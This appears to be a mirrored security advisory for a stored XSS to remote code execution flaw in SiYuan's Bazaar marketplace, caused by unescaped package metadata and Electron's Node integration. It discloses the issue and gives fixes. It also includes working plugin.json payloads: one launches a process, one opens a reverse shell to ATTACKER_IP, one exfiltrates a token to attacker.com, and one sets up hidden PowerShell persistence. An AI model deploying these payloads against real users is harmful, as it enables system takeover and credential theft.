GHSA-MVPM-V6Q4-M2PF
SiYuan has Stored XSS to RCE via Unsanitized Bazaar Package Metadata
Ciclo de vida de la vulnerabilidad
| Fecha | Fase | Evento | Detalle |
|---|---|---|---|
| Divulgación | Publicada | GHSA-MVPM-V6Q4-M2PF divulgada | |
| Divulgación | Modificada | Última actualización del registro | |
| Monitoreo | Detectada | Ingresó al índice |
Stored XSS to RCE via Unsanitized Bazaar Package Metadata
Summary
SiYuan's Bazaar (community marketplace) renders package metadata fields (`displayName`, `description`) using template literals without HTML escaping. A malicious package author can inject arbitrary HTML/JavaScript into these fields, which executes automatically when any user browses the Bazaar page. Because SiYuan's Electron configuration enables `nodeIntegration: true` with `contextIsolation: false`, this XSS escalates directly to full Remote Code Execution on the victim's operating system — with zero user interaction beyond opening the marketplace tab.
Affected Component
- Metadata rendering: `app/src/config/bazaar.ts:275-277`
- Electron config: `app/electron/main.js:422-426` (`nodeIntegration: true`, `contextIsolation: false`)
Affected Versions
- SiYuan <= 3.5.9
Severity
Critical — CVSS 9.6 (AV:N/AC:L/PR:L/UI:N/S:C/C:H/I:H/A:H)
- CWE-79: Improper Neutralization of Input During Web Page Generation (Stored XSS)
Vulnerable Code
In `app/src/config/bazaar.ts:275-277`, package metadata is injected directly into HTML templates without escaping:
// Package name injected directly — NO escaping
${item.preferredName}${item.preferredName !== item.name
? ` <span class="ft__on-surface ft__smaller">${item.name}</span>` : ""}
// Package description — title attribute uses escapeAttr(), but text content does NOT
<div class="b3-card__desc" title="${escapeAttr(item.preferredDesc) || ""}">
${item.preferredDesc || ""} <!-- UNESCAPED HTML -->
</div>The inconsistency is notable: the `title` attribute is escaped via `escapeAttr()`, but the actual rendered text content is not — indicating the risk was partially recognized but incompletely mitigated.
The Electron renderer at `app/electron/main.js:422-426` is configured with:
webPreferences: {
nodeIntegration: true,
contextIsolation: false,
// ...
}This means any JavaScript executing in the renderer process has direct access to Node.js APIs including `require('child_process')`, `require('fs')`, and `require('os')`.
Proof of Concept
Step 1: Create a malicious plugin manifest
Create a GitHub repository with a valid SiYuan plugin structure. In `plugin.json`:
{
"name": "helpful-productivity-plugin",
"displayName": {
"default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('calc.exe')\">"
},
"description": {
"default": "Boost your productivity with smart templates"
},
"version": "1.0.0",
"author": "attacker",
"url": "https://github.com/attacker/helpful-productivity-plugin",
"minAppVersion": "2.0.0"
}Step 2: Submit to Bazaar
Submit the repository to the SiYuan Bazaar community marketplace via the standard contribution process (pull request to the bazaar index repository).
Step 3: Zero-click RCE
When any SiYuan desktop user navigates to Settings > Bazaar > Plugins, the package listing renders the malicious `displayName`. The `<img src=x>` tag fails to load, firing the `onerror` handler, which calls `require('child_process').exec('calc.exe')`.
No click is required. The payload executes the moment the Bazaar page loads and the package card is rendered in the DOM.
Escalation: Reverse shell
{
"displayName": {
"default": "Helpful Plugin<img src=x onerror=\"require('child_process').exec('bash -c \\\"bash -i >& /dev/tcp/ATTACKER_IP/4444 0>&1\\\"')\">"
}
}Escalation: Data exfiltration (API token theft)
{
"displayName": {
"default": "<img src=x onerror=\"fetch('https://attacker.com/exfil?token='+require('fs').readFileSync(require('path').join(require('os').homedir(),'.config/siyuan/cookie.key'),'utf8'))\">"
}
}Escalation: Silent persistence (Windows)
{
"displayName": {
"default": "<img src=x onerror=\"require('child_process').exec('schtasks /create /tn SiYuanUpdate /tr \\\"powershell -w hidden -ep bypass -c IEX(New-Object Net.WebClient).DownloadString(\\\\\\\"https://attacker.com/payload.ps1\\\\\\\")\\\" /sc onlogon /rl highest /f')\">"
}
}Attack Scenario
- Attacker creates a legitimate-looking GitHub repository with a SiYuan plugin/theme/template.
- Attacker submits it to the SiYuan Bazaar via the standard community contribution process.
- The `plugin.json` manifest contains an XSS payload in the `displayName` or `description` field.
- When any SiYuan desktop user opens the Bazaar tab, the malicious package card renders the unescaped metadata.
- The injected `<img onerror>` (or `<svg onload>`, `<details ontoggle>`, etc.) fires automatically.
- JavaScript executes in the Electron renderer with full Node.js access (`nodeIntegration: true`).
- The attacker achieves arbitrary OS command execution — reverse shell, data exfiltration, persistence, ransomware, etc.
The user does not need to install, click, or interact with the malicious package in any way. Browsing the marketplace is sufficient.
Impact
- Full remote code execution on any SiYuan desktop user who browses the Bazaar
- Zero-click — payload fires on page load, no interaction required
- Supply-chain attack — targets the entire SiYuan user community via the official marketplace
- Can steal API tokens, session cookies, SSH keys, browser credentials, and arbitrary files
- Can install persistent backdoors, scheduled tasks, or ransomware
- Affects all platforms: Windows, macOS, Linux
Suggested Fix
1. Escape all package metadata in template rendering (`bazaar.ts`)
function escapeHtml(str: string): string {
return str.replace(/&/g, '&').replace(/</g, '<')
.replace(/>/g, '>').replace(/"/g, '"')
.replace(/'/g, ''');
}
// Apply to ALL user-controlled metadata before rendering
${escapeHtml(item.preferredName)}
<div class="b3-card__desc">${escapeHtml(item.preferredDesc || "")}</div>2. Server-side sanitization in the Bazaar index pipeline
Sanitize metadata fields at the Bazaar index build stage so malicious content never reaches clients:
func sanitizePackageDisplayStrings(pkg *Package) {
if pkg == nil {
return
}
for k, v := range pkg.DisplayName {
pkg.DisplayName[k] = html.EscapeString(v)
}
for k, v := range pkg.Description {
pkg.Description[k] = html.EscapeString(v)
}
}3. Long-term: Harden Electron configuration
webPreferences: {
nodeIntegration: false,
contextIsolation: true,
sandbox: true,
}Incluye detalles técnicos publicados por el investigador. Úselos solo para validar y corregir sus propios sistemas.
Rangos afectados
Estado del parche por paquete
| Paquete / producto | Estado | Corregida en | Desde divulgación | Última versión |
|---|---|---|---|---|
Gogithub.com/siyuan-note/siyuan/kernel |
Corregida | commit fe4523f | — | — |
commit fe4523fArsenal público
Sin exploits, módulos ni PoC públicos conocidos a la fecha de verificación.
https://nvd.nist.gov/vuln/detail/CVE-2026-33067https://github.com/siyuan-note/siyuan/security/advisories/GHSA-mvpm-v6q4-m2pfhttps://github.com/siyuan-note/siyuanLas referencias externas se muestran para copiar: cve.llama.ec no lo redirige a otros sitios.
